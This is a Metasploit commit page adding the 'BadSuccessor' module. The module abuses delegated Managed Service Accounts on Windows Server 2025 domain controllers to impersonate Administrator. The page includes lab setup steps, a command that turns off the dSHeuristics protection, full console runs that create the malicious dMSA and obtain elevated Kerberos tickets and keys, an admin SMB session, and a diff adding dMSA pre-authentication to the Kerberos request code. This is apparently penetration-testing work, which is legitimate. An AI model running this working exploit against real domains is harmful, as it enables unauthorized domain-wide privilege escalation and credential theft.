Skip to content

Commit 658c251

Browse files
authored
Merge pull request #20472 from jheysel-r7/feat/mod/badsuccessor
Add BadSuccessor dMSA Privilege Escalation in Windows 2025
2 parents 480b1dd + aa77718 commit 658c251

File tree

14 files changed

+1204
-19
lines changed

14 files changed

+1204
-19
lines changed
Lines changed: 240 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,240 @@
1+
## Vulnerable Application
2+
3+
This module exploits 'Bad Successor', which allows operators to elevate privileges on domain controllers
4+
running at the Windows 2025 forest functional level. Microsoft decided to introduce Delegated Managed Service
5+
Accounts (dMSA) in this forest level and they came ripe for exploitation.
6+
7+
Normal users can't create dMSA accounts where dMSA accounts are supposed to be created, the Managed Service
8+
Accounts OU, but if a normal user has write access to any other OU they can then create a dMSA account in
9+
said OU. After creating the account the user can edit LDAP attributes of the account to indicate that this
10+
account should inherit privileges from the Administrator user. Once this is complete we can request kerberos
11+
tickets on behalf of the dMSA account and voilà, you're admin.
12+
13+
The module has two actions, one for creating the dMSA account and setting it up to impersonate a high
14+
privilege user, and another action for requesting the kerberos tickets needed to use the dMSA account for privilege
15+
escalation.
16+
17+
## Setup
18+
- Download the Windows Server 2025 .iso
19+
- Install a new Windows Server 2025 instance.
20+
- Rename the computer to `DC1` and hardcode the IP address.
21+
- Promote the server to a domain controller for a new forest (e.g., `msf.local`).
22+
- Set the domain functional level to Windows Server 2025.
23+
- Once the domain controller is set up, create a `KdsRootKey` with an effective time at least 10 hours in the past:
24+
```powershell
25+
PS C:\Users\Administrator> Add-KdsRootKey -EffectiveTime (Get-Date).AddHours(-10)
26+
27+
Guid
28+
----
29+
6d0d01bb-f6e6-0f0c-7ec8-d65d2cbca174
30+
```
31+
- Verify the key has been created and the `EffectiveTime` is in the past successfully with the following command:
32+
```
33+
PS C:\Users\Administrator> Get-KdsRootKey
34+
35+
36+
AttributeOfWrongFormat :
37+
KeyValue : {117, 226, 79, 104...}
38+
EffectiveTime : 11/17/2025 7:46:20 AM
39+
CreationTime : 11/17/2025 5:46:20 PM
40+
IsFormatValid : True
41+
DomainController : CN=DC5,OU=Domain Controllers,DC=msf,DC=test
42+
ServerConfiguration : Microsoft.KeyDistributionService.Cmdlets.KdsServerConfiguration
43+
KeyId : 6d0d01bb-f6e6-0f0c-7ec8-d65d2cbca174
44+
VersionNumber : 1
45+
```
46+
- Create an Organizational Unit (OU) to contain the dMSA accounts:
47+
```powershell
48+
New-ADOrganizationalUnit -Name "testing" -Path "DC=msf,DC=local"
49+
```
50+
- Open Active Directory Users and Computers (ADUC) and delegate CreateAllChild permissions on the newly created OU to a low-privilege user.
51+
- Select the new OU, right-click, and choose Properties
52+
- Select the Security tab and click Advanced
53+
- Click Add, then click Select a principal
54+
- Enter the low-privilege user's name and click OK
55+
- In the Permissions window, check the box for Create all child objects and click OK
56+
- Ensure Type is set to "Allow"
57+
- Ensure Applies to is set to "This object and all descendant objects" - important
58+
- Click OK to apply the changes and close all dialog boxes.
59+
- The low-privilege user should now have the necessary permissions to create dMSA accounts in the specified OU and edit
60+
its attributes in order to be vulnerable to Bad Successor.
61+
- Run the following command to ensure the domain controller has not had any hardening applied that might prevent BadSuccessor for being exploited:
62+
```powershell
63+
(Get-ADObject ("CN=Directory Service,CN=Windows NT,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Properties dSHeuristics).dSHeuristics
64+
```
65+
- If the output is blank, that means dSHeuristics is set to the default and the domain controller is vulnerable.
66+
- If the output contains a value ensure that the 28th character is not set to '1' (e.g., `00000000010000000002000000000`)
67+
- For testing purposes, if it is set to '1', you can set it to a vulnerable value with admin privileges and the following command:
68+
```powershell
69+
Set-ADObject ("CN=Directory Service,CN=Windows NT,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -replace @{dSHeuristics='00000000010000000002000000001'}
70+
```
71+
72+
## Actions
73+
74+
There are two kind of actions the module can run:
75+
76+
1. **CREATE_DMSA** - Creates a dMSA account vulnerable to BadSuccessor. [Default]
77+
2. **GET_TICKET** - Issues a kerberos ticket for the created dMSA account to gain elevated privileges.
78+
79+
## Verification Steps
80+
81+
1. Start msfconsole
82+
1. Create a dMSA account and set it to impersonate Administrator:
83+
1. Do: `use admin/ldap/bad_successor`
84+
1. Do: `set ACTION CREATE_DMSA`
85+
1. Do: `set RHOSTNAME <domain controller FQDN>`
86+
1. Do: `set DMSA_ACCOUNT_NAME <dMSA account name>`
87+
1. Do: `set ACCOUNT_TO_IMPERSONATE Administrator`
88+
1. Do: `set LDAPDomain <domain name>`
89+
1. Do: `set LDAPUsername <username>`
90+
1. Do: `set LDAPPassword <password>`
91+
1. Do: `set rhost <domain controller IP>`
92+
1. Do: `run`
93+
1. Use the created dMSA account to get elevated kerberos tickets:
94+
1. Do: `set ACTION GET_TICKET`
95+
1. Do: `set SERVICE cifs`
96+
1. With all the other options the same as before, do: `run`
97+
98+
## Options
99+
100+
### DMSA_ACCOUNT_NAME
101+
102+
The name of the dMSA account to be created.
103+
104+
### ACCOUNT_TO_IMPERSONATE
105+
106+
The name of the account to impersonate using the dMSA.
107+
108+
### DC_FQDN
109+
110+
The fully qualified domain name (FQDN) of the domain controller.
111+
112+
## Scenarios
113+
114+
### Action: CREATE_DMSA
115+
#### Create dMSA on a Windows 2025 Domain Controller
116+
```
117+
msf auxiliary(admin/ldap/bad_successor) > set RHOSTNAME dc5.msf.test
118+
RHOSTNAME => dc5.msf.test
119+
msf auxiliary(admin/ldap/bad_successor) > set DMSA_ACCOUNT_NAME attacker_dMSA
120+
DMSA_ACCOUNT_NAME => attacker_dMSA
121+
msf auxiliary(admin/ldap/bad_successor) > set LDAPDomain msf.test
122+
LDAPDomain => msf.test
123+
msf auxiliary(admin/ldap/bad_successor) > set LDAPPassword N0tpassword!
124+
LDAPPassword => N0tpassword!
125+
smsf auxiliary(admin/ldap/bad_successor) > set LDAPUsername msfuser
126+
LDAPUsername => msfuser
127+
msf auxiliary(admin/ldap/bad_successor) > set rhost 172.16.199.209
128+
rhost => 172.16.199.209
129+
msf auxiliary(admin/ldap/bad_successor) > run
130+
[*] Discovering base DN automatically
131+
[+] Found 3 OUs we can write to, listing them below:
132+
[+] - OU=Domain Controllers,DC=msf,DC=test
133+
[+] - OU=BadBois,DC=msf,DC=test
134+
[+] - OU=dMSA_Accounts,DC=msf,DC=test
135+
[*] Attempting to create dmsa account cn: attacker_dMSA, dn: CN=attacker_dMSA,OU=dMSA_Accounts,DC=msf,DC=test
136+
[+] Created dmsa attacker_dMSA
137+
[*] Setting attributes for dMSA object: CN=attacker_dMSA,OU=dMSA_Accounts,DC=msf,DC=test
138+
[+] Successfully updated attributes for dMSA object: CN=attacker_dMSA,OU=dMSA_Accounts,DC=msf,DC=test
139+
[*] msds-delegatedmsastate => ["2"]
140+
[*] msds-managedaccountprecededbylink => ["CN=Administrator,CN=Users,DC=msf,DC=test"]
141+
[*] Auxiliary module execution completed
142+
```
143+
144+
### Action: GET_TICKET
145+
#### Elevate privileges using the created dMSA
146+
```
147+
msf auxiliary(admin/ldap/bad_successor) > set RHOSTNAME dc5.msf.test
148+
RHOSTNAME => dc5.msf.test
149+
msf auxiliary(admin/ldap/bad_successor) > set DMSA_ACCOUNT_NAME attacker_dMSA
150+
DMSA_ACCOUNT_NAME => attacker_dMSA
151+
msf auxiliary(admin/ldap/bad_successor) > set LDAPDomain msf.test
152+
LDAPDomain => msf.test
153+
msf auxiliary(admin/ldap/bad_successor) > set LDAPPassword N0tpassword!
154+
LDAPPassword => N0tpassword!
155+
smsf auxiliary(admin/ldap/bad_successor) > set LDAPUsername msfuser
156+
LDAPUsername => msfuser
157+
msf auxiliary(admin/ldap/bad_successor) > set rhost 172.16.199.209
158+
rhost => 172.16.199.209
159+
msf auxiliary(admin/ldap/bad_successor) > run
160+
[*] Running module against 172.16.199.209
161+
[*] Loading admin/kerberos/get_ticket
162+
[*] 172.16.199.209:88 - Getting TGT for msfuser@msf.test
163+
[+] 172.16.199.209:88 - Received a valid TGT-Response
164+
[*] 172.16.199.209:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20251119215739_default_172.16.199.209_mit.kerberos.cca_626542.bin
165+
[+] Obtained TGT for the user msfuser
166+
[*] Using cached credential for krbtgt/MSF.TEST@MSF.TEST msfuser@MSF.TEST
167+
[*] 172.16.199.209:88 - Getting TGS impersonating attacker_dMSA$@msf.test (SPN: krbtgt/msf.test)
168+
[+] 172.16.199.209:88 - Received a valid TGS-Response
169+
[*] 172.16.199.209:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20251119215741_default_172.16.199.209_mit.kerberos.cca_263687.bin
170+
[*] dMSA Key Package:
171+
[*] Current Keys:
172+
[+] Type: AES256, Key: c1085cb36ef8c1e7d62693ba4e3402523c8a4c300591ac2fdd1643d0cd80e6ad
173+
[+] Type: AES128, Key: ce576bbe6386f5aaee691192ecf0684a
174+
[+] Type: RC4, Key: 9857452d6e592835e9b4ef337c1be5c8
175+
[*] Previous Keys:
176+
[+] Type: RC4, Key: 4fd408d8f8ecb20d4b0768a0ac44b71f
177+
[+] Obtained TGT for dMSA attacker_dMSA
178+
[*] Using cached credential for krbtgt/MSF.TEST@MSF.TEST attacker_dMSA$@msf.test
179+
[*] 172.16.199.209:88 - Getting TGS for attacker_dMSA$@msf.test (SPN: cifs/dc5.msf.test)
180+
[+] 172.16.199.209:88 - Received a valid TGS-Response
181+
[*] 172.16.199.209:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20251119215742_default_172.16.199.209_mit.kerberos.cca_858140.bin
182+
[+] 172.16.199.209:88 - Received a valid delegation TGS-Response
183+
[+] Obtained elevated TGT for attacker_dMSA
184+
[*] Auxiliary module execution completed
185+
```
186+
187+
### Use ticket to connect to the ADMIN$ SMB share
188+
```
189+
msf auxiliary(scanner/smb/smb_login) > set username attacker_dMSA$
190+
username => attacker_dMSA$
191+
msf auxiliary(scanner/smb/smb_login) > set rhost 172.16.199.209
192+
rhost => 172.16.199.209
193+
msf auxiliary(scanner/smb/smb_login) > set domaincontrollerrhost 172.16.199.209
194+
domaincontrollerrhost => 172.16.199.209
195+
msf auxiliary(scanner/smb/smb_login) > set SMB::Rhostname dc5.msf.test
196+
SMB::Rhostname => dc5.msf.test
197+
msf auxiliary(scanner/smb/smb_login) > set SMB::Auth kerberos
198+
SMB::Auth => kerberos
199+
msf auxiliary(scanner/smb/smb_login) > set SMB::Krb5Ccname
200+
SMB::Krb5Ccname =>
201+
msf auxiliary(scanner/smb/smb_login) > set SMB::Krb5Ccname /Users/jheysel/.msf4/loot/20251119215742_default_172.16.199.209_mit.kerberos.cca_858140.bin
202+
SMB::Krb5Ccname => /Users/jheysel/.msf4/loot/20251119215742_default_172.16.199.209_mit.kerberos.cca_858140.bin
203+
msf auxiliary(scanner/smb/smb_login) > run
204+
[*] 172.16.199.209:445 - 172.16.199.209:445 - Starting SMB login bruteforce
205+
[*] 172.16.199.209:445 - Loaded a credential from ticket file: /Users/jheysel/.msf4/loot/20251119215742_default_172.16.199.209_mit.kerberos.cca_858140.bin
206+
[+] 172.16.199.209:445 - 172.16.199.209:445 - Success: 'msf.test\attacker_dMSA$:' Administrator
207+
[*] SMB session 3 opened (172.16.199.1:33643 -> 172.16.199.209:445) at 2025-11-19 22:23:14 -0800
208+
[*] 172.16.199.209:445 - Scanned 1 of 1 hosts (100% complete)
209+
[*] 172.16.199.209:445 - Bruteforce completed, 1 credential was successful.
210+
[*] 172.16.199.209:445 - 1 SMB session was opened successfully.
211+
[*] Auxiliary module execution completed
212+
msf auxiliary(scanner/smb/smb_login) > sessions -i
213+
214+
Active sessions
215+
===============
216+
217+
Id Name Type Information Connection
218+
-- ---- ---- ----------- ----------
219+
3 smb SMB attacker_dMSA$ @ 172.16.199.209:445 172.16.199.1:33643 -> 172.16.199.209:445 (172.16.199.209)
220+
221+
msf auxiliary(scanner/smb/smb_login) > sessions -i -1
222+
[*] Starting interaction with 3...
223+
224+
SMB (172.16.199.209) > shares
225+
Shares
226+
======
227+
228+
# Name Type comment
229+
- ---- ---- -------
230+
0 ADMIN$ DISK|SPECIAL Remote Admin
231+
1 C$ DISK|SPECIAL Default share
232+
2 IPC$ IPC|SPECIAL Remote IPC
233+
3 NETLOGON DISK Logon server share
234+
4 SYSVOL DISK Logon server share
235+
236+
SMB (172.16.199.209) > shares -i ADMIN$
237+
[+] Successfully connected to ADMIN$
238+
SMB (172.16.199.209\ADMIN$) > pwd
239+
Current directory is \\172.16.199.209\ADMIN$\
240+
```

lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb

Lines changed: 31 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -14,8 +14,9 @@ module TgsRequest
1414
# @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data
1515
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey
1616
# @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum
17-
# @option opts [Rex::Proto::Kerberos::Model::Authenticator] :auhtenticator
17+
# @option opts [Rex::Proto::Kerberos::Model::Authenticator] :authenticator
1818
# @option opts [Array<Rex::Proto::Kerberos::Model::PreAuthDataEntry>] :pa_data
19+
# @option opts [String] :impersonate_type
1920
# @return [Rex::Proto::Kerberos::Model::KdcRequest]
2021
# @raise [RuntimeError] if ticket isn't available
2122
# @see Rex::Proto::Kerberos::Model::AuthorizationData
@@ -70,6 +71,35 @@ def build_tgs_request(opts = {})
7071

7172
pa_data = []
7273
pa_data.push(pa_ap_req)
74+
if opts.key?(:impersonate_type) && opts.fetch(:impersonate_type) == 'dmsa'
75+
x509_user = Rex::Proto::Kerberos::Model::PreAuthS4uX509User.new(opts[:session_key], opts[:impersonate], opts[:impersonate_type], realm, opts[:nonce])
76+
77+
pa_data_x509_user = Rex::Proto::Kerberos::Model::PreAuthDataEntry.new(
78+
type: Rex::Proto::Kerberos::Model::PreAuthType::PA_S4U_X509_USER,
79+
value: x509_user.encode
80+
)
81+
82+
pa_data << pa_data_x509_user
83+
84+
pa_pac_options_flags = Rex::Proto::Kerberos::Model::PreAuthPacOptionsFlags.from_flags(
85+
[
86+
Rex::Proto::Kerberos::Model::PreAuthPacOptionsFlags::BRANCH_AWARE
87+
]
88+
)
89+
90+
pa_pac_options = Rex::Proto::Kerberos::Model::PreAuthPacOptions.new(
91+
flags: pa_pac_options_flags
92+
)
93+
94+
pa_pac = Rex::Proto::Kerberos::Model::PreAuthDataEntry.new(
95+
type: Rex::Proto::Kerberos::Model::PreAuthType::PA_PAC_OPTIONS,
96+
value: pa_pac_options.encode
97+
)
98+
99+
pa_data << pa_pac
100+
end
101+
102+
73103
if opts[:pa_data]
74104
opts[:pa_data].each { |pa| pa_data.push(pa) }
75105
end
@@ -330,7 +360,6 @@ def build_pa_for_user(opts = {})
330360
value: pa_for_user.encode
331361
)
332362
end
333-
334363
end
335364
end
336365
end

0 commit comments

Comments
 (0)